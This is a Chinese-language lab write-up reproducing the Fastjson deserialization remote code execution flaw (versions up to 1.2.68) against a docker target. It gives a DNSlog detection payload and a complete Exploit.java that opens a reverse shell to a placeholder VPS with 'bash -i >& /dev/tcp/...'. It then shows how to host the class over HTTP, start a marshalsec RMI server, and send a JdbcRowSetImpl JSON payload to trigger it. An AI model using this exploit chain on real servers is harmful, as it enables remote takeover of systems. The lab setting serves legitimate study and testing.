一、漏洞简介
Fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞
Fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链
Fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
在Fastjson<=1.2.68的版本中,通过新的Gadgets绕过autoType开关,在autoType关闭的情况下仍然可以绕过黑白名单防御机制,通过反序列化漏洞在服务器上执行任意代码
二、漏洞影响
fastjson <= 1.2.68
三、靶场部署
启动环境(我是启动过一次,首次启动需要进行编译,需要1-2分钟左右)
docker-compose up -d
查看启动的端口。
docker ps
查看自己的IP
访问搭建的靶场。
四、漏洞检测
利用dnslog检测漏洞是否存在。
通过burp抓包,将该页面的包发送给重发器,并添加如下内容。
{
"zeo":{
"@type":"java.net.Inet4Address",
"val":"dnslog"
}
}
dnslog能刷新出数据证明漏洞存在,反之漏洞不存在
五、漏洞复现
将如下代码保存为Exploit.java,代码中对应的vps地址换成自己的IP地址。
import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/VPS的IP/8888 0>&1"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { }}
使用javac Exploit.java编译java文件生成Exploit.class。
将Exploit.class文件和Exploit.java文件放在同一个文件夹中,并且在当前目录下使用如下命令开启一个轻量级的http服务
python -m http.server 8081
开启成功后访问该服务。
再开一个窗口,监听8888端口用作反弹shell监听:
下载marshalsec工具,并启动rmi服务。
将开始用的三个端口开放。
在重发器中发送如下内容。
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.0.122:9999/#Exploit", "autoCommit":true
}
}
监听成功